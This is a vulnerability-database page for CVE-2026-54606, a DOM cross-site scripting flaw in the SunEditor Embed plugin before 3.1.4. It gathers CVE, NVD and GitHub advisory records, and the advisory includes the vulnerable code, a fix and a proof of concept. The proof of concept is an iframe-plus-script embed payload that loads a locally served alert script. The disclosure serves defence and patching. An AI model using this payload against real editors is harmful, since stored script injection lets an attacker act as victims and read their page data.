Vulnerability-Lookup

CVE-2026-54606 (GCVE-0-2026-54606)

Vulnerability from cvelistv5 – Published: 2026-08-26 15:25 – Updated: 2026-08-26 18:28

Title

SunEditor: DOM XSS in SunEditor Embed Plugin via External Script Element After Iframe Embed

Summary

SunEditor is a lightweight and powerful WYSIWYG editor in vanilla JavaScript with no dependencies. Prior to 3.1.4, the SunEditor Embed plugin in src/plugins/modal/embed.js parses attacker-controlled raw embed HTML with DOMParser and processes the resulting DOM nodes. When an external script element follows a valid iframe, the plugin recreates a script element from the attacker-controlled src attribute and appends it to the live DOM, causing JavaScript execution in the editor page. If an application stores or reflects SunEditor content without additional backend sanitization, an attacker who can submit embed HTML can trigger stored or reflected cross-site scripting when another user opens, previews, renders, or edits the content, enabling access to page data and account actions as the victim. This issue is fixed in version 3.1.4.

Severity

8.5 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-26 18:27 UTC

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Assigner

GitHub_M mitre root

References

4 references

URL	Tags
https://github.com/JiHong88/suneditor/security/ad…	x_refsource_CONFIRM
https://github.com/JiHong88/suneditor/issues/1649	x_refsource_MISC
https://github.com/JiHong88/suneditor/commit/9d43…	x_refsource_MISC
https://github.com/JiHong88/suneditor/releases/ta…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
JiHong88	suneditor	Affected: < 3.1.4	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-54606",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-26T18:27:34.362571Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-26T18:28:06.384Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/JiHong88/suneditor/security/advisories/GHSA-w93q-cq9w-58p7"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "suneditor",
          "vendor": "JiHong88",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3.1.4"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "SunEditor is a lightweight and powerful WYSIWYG editor in vanilla JavaScript with no dependencies. Prior to 3.1.4, the SunEditor Embed plugin in src/plugins/modal/embed.js parses attacker-controlled raw embed HTML with DOMParser and processes the resulting DOM nodes. When an external script element follows a valid iframe, the plugin recreates a script element from the attacker-controlled src attribute and appends it to the live DOM, causing JavaScript execution in the editor page. If an application stores or reflects SunEditor content without additional backend sanitization, an attacker who can submit embed HTML can trigger stored or reflected cross-site scripting when another user opens, previews, renders, or edits the content, enabling access to page data and account actions as the victim. This issue is fixed in version 3.1.4."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 8.5,
            "baseSeverity": "HIGH",
            "privilegesRequired": "LOW",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "PASSIVE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "HIGH",
            "vulnIntegrityImpact": "HIGH"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-79",
              "description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-26T15:25:58.083Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/JiHong88/suneditor/security/advisories/GHSA-w93q-cq9w-58p7",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/JiHong88/suneditor/security/advisories/GHSA-w93q-cq9w-58p7"
        },
        {
          "name": "https://github.com/JiHong88/suneditor/issues/1649",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/JiHong88/suneditor/issues/1649"
        },
        {
          "name": "https://github.com/JiHong88/suneditor/commit/9d43a5e082101d2d6475cba86e0d58d7c2cf6677",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/JiHong88/suneditor/commit/9d43a5e082101d2d6475cba86e0d58d7c2cf6677"
        },
        {
          "name": "https://github.com/JiHong88/suneditor/releases/tag/3.1.4",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/JiHong88/suneditor/releases/tag/3.1.4"
        }
      ],
      "source": {
        "advisory": "GHSA-w93q-cq9w-58p7",
        "discovery": "UNKNOWN"
      },
      "title": "SunEditor: DOM XSS in SunEditor Embed Plugin via External Script Element After Iframe Embed"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-54606",
    "datePublished": "2026-08-26T15:25:58.083Z",
    "dateReserved": "2026-06-15T19:45:23.540Z",
    "dateUpdated": "2026-08-26T18:28:06.384Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-54606\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-08-26T16:16:27.890\",\"lastModified\":\"2026-08-26T19:16:50.920\",\"vulnStatus\":\"Received\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"SunEditor is a lightweight and powerful WYSIWYG editor in vanilla JavaScript with no dependencies. Prior to 3.1.4, the SunEditor Embed plugin in src/plugins/modal/embed.js parses attacker-controlled raw embed HTML with DOMParser and processes the resulting DOM nodes. When an external script element follows a valid iframe, the plugin recreates a script element from the attacker-controlled src attribute and appends it to the live DOM, causing JavaScript execution in the editor page. If an application stores or reflects SunEditor content without additional backend sanitization, an attacker who can submit embed HTML can trigger stored or reflected cross-site scripting when another user opens, previews, renders, or edits the content, enabling access to page data and account actions as the victim. This issue is fixed in version 3.1.4.\"}],\"affected\":[{\"source\":\"security-advisories@github.com\",\"affectedData\":[{\"vendor\":\"JiHong88\",\"product\":\"suneditor\",\"versions\":[{\"version\":\"\u003c 3.1.4\",\"status\":\"affected\"}]}]}],\"metrics\":{\"cvssMetricV40\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"4.0\",\"vectorString\":\"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X\",\"baseScore\":8.5,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"attackRequirements\":\"NONE\",\"privilegesRequired\":\"LOW\",\"userInteraction\":\"PASSIVE\",\"vulnConfidentialityImpact\":\"HIGH\",\"vulnIntegrityImpact\":\"HIGH\",\"vulnAvailabilityImpact\":\"NONE\",\"subConfidentialityImpact\":\"NONE\",\"subIntegrityImpact\":\"NONE\",\"subAvailabilityImpact\":\"NONE\",\"exploitMaturity\":\"NOT_DEFINED\",\"confidentialityRequirement\":\"NOT_DEFINED\",\"integrityRequirement\":\"NOT_DEFINED\",\"availabilityRequirement\":\"NOT_DEFINED\",\"modifiedAttackVector\":\"NOT_DEFINED\",\"modifiedAttackComplexity\":\"NOT_DEFINED\",\"modifiedAttackRequirements\":\"NOT_DEFINED\",\"modifiedPrivilegesRequired\":\"NOT_DEFINED\",\"modifiedUserInteraction\":\"NOT_DEFINED\",\"modifiedVulnConfidentialityImpact\":\"NOT_DEFINED\",\"modifiedVulnIntegrityImpact\":\"NOT_DEFINED\",\"modifiedVulnAvailabilityImpact\":\"NOT_DEFINED\",\"modifiedSubConfidentialityImpact\":\"NOT_DEFINED\",\"modifiedSubIntegrityImpact\":\"NOT_DEFINED\",\"modifiedSubAvailabilityImpact\":\"NOT_DEFINED\",\"Safety\":\"NOT_DEFINED\",\"Automatable\":\"NOT_DEFINED\",\"Recovery\":\"NOT_DEFINED\",\"valueDensity\":\"NOT_DEFINED\",\"vulnerabilityResponseEffort\":\"NOT_DEFINED\",\"providerUrgency\":\"NOT_DEFINED\"}}],\"ssvcV203\":[{\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"ssvcData\":{\"timestamp\":\"2026-08-26T18:27:34.362571Z\",\"id\":\"CVE-2026-54606\",\"options\":[{\"exploitation\":\"poc\"},{\"automatable\":\"no\"},{\"technicalImpact\":\"total\"}],\"role\":\"CISA Coordinator\",\"version\":\"2.0.3\"}}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-79\"}]}],\"references\":[{\"url\":\"https://github.com/JiHong88/suneditor/commit/9d43a5e082101d2d6475cba86e0d58d7c2cf6677\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/JiHong88/suneditor/issues/1649\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/JiHong88/suneditor/releases/tag/3.1.4\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/JiHong88/suneditor/security/advisories/GHSA-w93q-cq9w-58p7\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/JiHong88/suneditor/security/advisories/GHSA-w93q-cq9w-58p7\",\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\"}]}}",
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-54606\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"total\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-08-26T18:27:34.362571Z\"}}}], \"references\": [{\"url\": \"https://github.com/JiHong88/suneditor/security/advisories/GHSA-w93q-cq9w-58p7\", \"tags\": [\"exploit\"]}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-08-26T18:27:58.915Z\"}}], \"cna\": {\"title\": \"SunEditor: DOM XSS in SunEditor Embed Plugin via External Script Element After Iframe Embed\", \"source\": {\"advisory\": \"GHSA-w93q-cq9w-58p7\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV4_0\": {\"version\": \"4.0\", \"baseScore\": 8.5, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"HIGH\", \"vectorString\": \"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N\", \"userInteraction\": \"PASSIVE\", \"attackComplexity\": \"LOW\", \"attackRequirements\": \"NONE\", \"privilegesRequired\": \"LOW\", \"subIntegrityImpact\": \"NONE\", \"vulnIntegrityImpact\": \"HIGH\", \"subAvailabilityImpact\": \"NONE\", \"vulnAvailabilityImpact\": \"NONE\", \"subConfidentialityImpact\": \"NONE\", \"vulnConfidentialityImpact\": \"HIGH\"}}], \"affected\": [{\"vendor\": \"JiHong88\", \"product\": \"suneditor\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003c 3.1.4\"}]}], \"references\": [{\"url\": \"https://github.com/JiHong88/suneditor/security/advisories/GHSA-w93q-cq9w-58p7\", \"name\": \"https://github.com/JiHong88/suneditor/security/advisories/GHSA-w93q-cq9w-58p7\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://github.com/JiHong88/suneditor/issues/1649\", \"name\": \"https://github.com/JiHong88/suneditor/issues/1649\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/JiHong88/suneditor/commit/9d43a5e082101d2d6475cba86e0d58d7c2cf6677\", \"name\": \"https://github.com/JiHong88/suneditor/commit/9d43a5e082101d2d6475cba86e0d58d7c2cf6677\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/JiHong88/suneditor/releases/tag/3.1.4\", \"name\": \"https://github.com/JiHong88/suneditor/releases/tag/3.1.4\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"SunEditor is a lightweight and powerful WYSIWYG editor in vanilla JavaScript with no dependencies. Prior to 3.1.4, the SunEditor Embed plugin in src/plugins/modal/embed.js parses attacker-controlled raw embed HTML with DOMParser and processes the resulting DOM nodes. When an external script element follows a valid iframe, the plugin recreates a script element from the attacker-controlled src attribute and appends it to the live DOM, causing JavaScript execution in the editor page. If an application stores or reflects SunEditor content without additional backend sanitization, an attacker who can submit embed HTML can trigger stored or reflected cross-site scripting when another user opens, previews, renders, or edits the content, enabling access to page data and account actions as the victim. This issue is fixed in version 3.1.4.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-79\", \"description\": \"CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-08-26T15:25:58.083Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-54606\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-08-26T18:28:06.384Z\", \"dateReserved\": \"2026-06-15T19:45:23.540Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-08-26T15:25:58.083Z\", \"assignerShortName\": \"GitHub_M\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-54606

Vulnerability from fkie_nvd - Published: 2026-08-26 16:16 - Updated: 2026-08-26 19:16

Severity

8.5 (High) - CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/JiHong88/suneditor/commit/9d43a5e082101d2d6475cba86e0d58d7c2cf6677
	security-advisories@github.com	https://github.com/JiHong88/suneditor/issues/1649
	security-advisories@github.com	https://github.com/JiHong88/suneditor/releases/tag/3.1.4
	security-advisories@github.com	https://github.com/JiHong88/suneditor/security/advisories/GHSA-w93q-cq9w-58p7
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/JiHong88/suneditor/security/advisories/GHSA-w93q-cq9w-58p7

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "suneditor",
          "vendor": "JiHong88",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3.1.4"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "SunEditor is a lightweight and powerful WYSIWYG editor in vanilla JavaScript with no dependencies. Prior to 3.1.4, the SunEditor Embed plugin in src/plugins/modal/embed.js parses attacker-controlled raw embed HTML with DOMParser and processes the resulting DOM nodes. When an external script element follows a valid iframe, the plugin recreates a script element from the attacker-controlled src attribute and appends it to the live DOM, causing JavaScript execution in the editor page. If an application stores or reflects SunEditor content without additional backend sanitization, an attacker who can submit embed HTML can trigger stored or reflected cross-site scripting when another user opens, previews, renders, or edits the content, enabling access to page data and account actions as the victim. This issue is fixed in version 3.1.4."
    }
  ],
  "id": "CVE-2026-54606",
  "lastModified": "2026-08-26T19:16:50.920",
  "metrics": {
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 8.5,
          "baseSeverity": "HIGH",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "LOW",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "PASSIVE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "NONE",
          "vulnConfidentialityImpact": "HIGH",
          "vulnIntegrityImpact": "HIGH",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-54606",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-08-26T18:27:34.362571Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-08-26T16:16:27.890",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/JiHong88/suneditor/commit/9d43a5e082101d2d6475cba86e0d58d7c2cf6677"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/JiHong88/suneditor/issues/1649"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/JiHong88/suneditor/releases/tag/3.1.4"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/JiHong88/suneditor/security/advisories/GHSA-w93q-cq9w-58p7"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/JiHong88/suneditor/security/advisories/GHSA-w93q-cq9w-58p7"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-79"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-W93Q-CQ9W-58P7

Vulnerability from github – Published: 2026-08-26 15:26 – Updated: 2026-08-26 15:26

Summary

SunEditor Embed Plugin has DOM XSS via External Script Element After Iframe Embed

Details

Summary

A DOM-based Cross-Site Scripting (XSS) vulnerability exists in the SunEditor Embed plugin. Crafted iframe embed HTML followed by an external element bypasses the plugin’s sanitization logic. The plugin recreates and appends the attacker-controlled script element to the live DOM, causing JavaScript execution in the context of the editor page.

If an application stores or reflects SunEditor content without additional backend sanitization, this can lead to stored or reflected XSS when another user opens, previews, renders, or edits the malicious content.

Details

The Embed plugin parses raw embed HTML and processes the resulting DOM nodes. When a element is included after a valid iframe, the plugin creates a new script element using the attacker-controlled src value and appends it to the DOM.

Relevant behavior:

const embedDOM = new DOMParser().parseFromString(src, 'text/html').body.children; if (/^script$/i.test(chd.nodeName)) { scriptTag = dom.utils.createElement('script', { src: chd.getAttribute('src'), async: 'true' }, null); continue; } cover.appendChild(scriptTag);

Because the script is newly created and appended, it executes.

PoC

Start a local server hosting a JavaScript payload:

mkdir -p /tmp/suneditor-poc
cd /tmp/suneditor-poc

cat > poc.js <<'EOF'
alert(1);
console.log("SunEditor Embed Plugin XSS executed");
EOF

python3 -m http.server 8000

Open SunEditor with the Embed plugin enabled, then insert the following payload through the Embed modal and save :

<iframe src="https://youtube.com/embed/x"></iframe><script src="http://127.0.0.1:8000/poc.js"></script> Successful exploitation is confirmed when:

alert(1) appears

or the local server logs:

GET /poc.js

Impact

An attacker who can provide or store embed HTML can execute arbitrary JavaScript in another user’s browser when the content is processed by SunEditor. This may allow account actions as the victim, modification of editor content, or access to sensitive data available in the editor page.

The issue is especially impactful when SunEditor content is stored in a backend and later reopened or rendered for administrators, editors, or other users without additional sanitization.

Suggested Fix

Do not recreate or append script elements from user-controlled embed HTML.

Minimum mitigation:

if (/^script$/i.test(chd.nodeName)) {
  continue;
}

A stronger fix is to allow only expected embed elements such as iframe or blockquote, sanitize their attributes, and discard all other sibling elements.

Severity

8.5 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "suneditor"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54606"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-26T15:26:24Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "Summary\n\nA DOM-based Cross-Site Scripting (XSS) vulnerability exists in the SunEditor Embed plugin. Crafted iframe embed HTML followed by an external \u003cscript src=...\u003e element bypasses the plugin\u2019s sanitization logic. The plugin recreates and appends the attacker-controlled script element to the live DOM, causing JavaScript execution in the context of the editor page.\n\nIf an application stores or reflects SunEditor content without additional backend sanitization, this can lead to stored or reflected XSS when another user opens, previews, renders, or edits the malicious content.\n\nDetails\n\nThe Embed plugin parses raw embed HTML and processes the resulting DOM nodes. When a \u003cscript\u003e element is included after a valid iframe, the plugin creates a new script element using the attacker-controlled src value and appends it to the DOM.\n\nRelevant behavior:\n\nconst embedDOM = new DOMParser().parseFromString(src, \u0027text/html\u0027).body.children;\nif (/^script$/i.test(chd.nodeName)) {\n  scriptTag = dom.utils.createElement(\u0027script\u0027, {\n    src: chd.getAttribute(\u0027src\u0027),\n    async: \u0027true\u0027\n  }, null);\n  continue;\n}\ncover.appendChild(scriptTag);\n\nBecause the script is newly created and appended, it executes.\n\nPoC\n\nStart a local server hosting a JavaScript payload:\n\n```\nmkdir -p /tmp/suneditor-poc\ncd /tmp/suneditor-poc\n\ncat \u003e poc.js \u003c\u003c\u0027EOF\u0027\nalert(1);\nconsole.log(\"SunEditor Embed Plugin XSS executed\");\nEOF\n\npython3 -m http.server 8000\n```\n\nOpen SunEditor with the Embed plugin enabled, then insert the following payload through the Embed modal and save :\n\n`\u003ciframe src=\"https://youtube.com/embed/x\"\u003e\u003c/iframe\u003e\u003cscript src=\"http://127.0.0.1:8000/poc.js\"\u003e\u003c/script\u003e\n`\nSuccessful exploitation is confirmed when:\n\n`alert(1) appears`\n\nor the local server logs:\n\n`GET /poc.js`\n\nImpact\n\nAn attacker who can provide or store embed HTML can execute arbitrary JavaScript in another user\u2019s browser when the content is processed by SunEditor. This may allow account actions as the victim, modification of editor content, or access to sensitive data available in the editor page.\n\nThe issue is especially impactful when SunEditor content is stored in a backend and later reopened or rendered for administrators, editors, or other users without additional sanitization.\n\nSuggested Fix\n\nDo not recreate or append script elements from user-controlled embed HTML.\n\nMinimum mitigation:\n\n```\nif (/^script$/i.test(chd.nodeName)) {\n  continue;\n}\n```\n\nA stronger fix is to allow only expected embed elements such as iframe or blockquote, sanitize their attributes, and discard all other sibling elements.",
  "id": "GHSA-w93q-cq9w-58p7",
  "modified": "2026-08-26T15:26:24Z",
  "published": "2026-08-26T15:26:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/JiHong88/suneditor/security/advisories/GHSA-w93q-cq9w-58p7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/JiHong88/suneditor/issues/1649"
    },
    {
      "type": "WEB",
      "url": "https://github.com/JiHong88/suneditor/commit/9d43a5e082101d2d6475cba86e0d58d7c2cf6677"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/JiHong88/suneditor"
    },
    {
      "type": "WEB",
      "url": "https://github.com/JiHong88/suneditor/releases/tag/3.1.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "SunEditor Embed Plugin has DOM XSS via External Script Element After Iframe Embed"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.

Action not permitted

CVE-2026-54606 (GCVE-0-2026-54606)

FKIE_CVE-2026-54606

GHSA-W93Q-CQ9W-58P7

Tags

Sightings

Nomenclature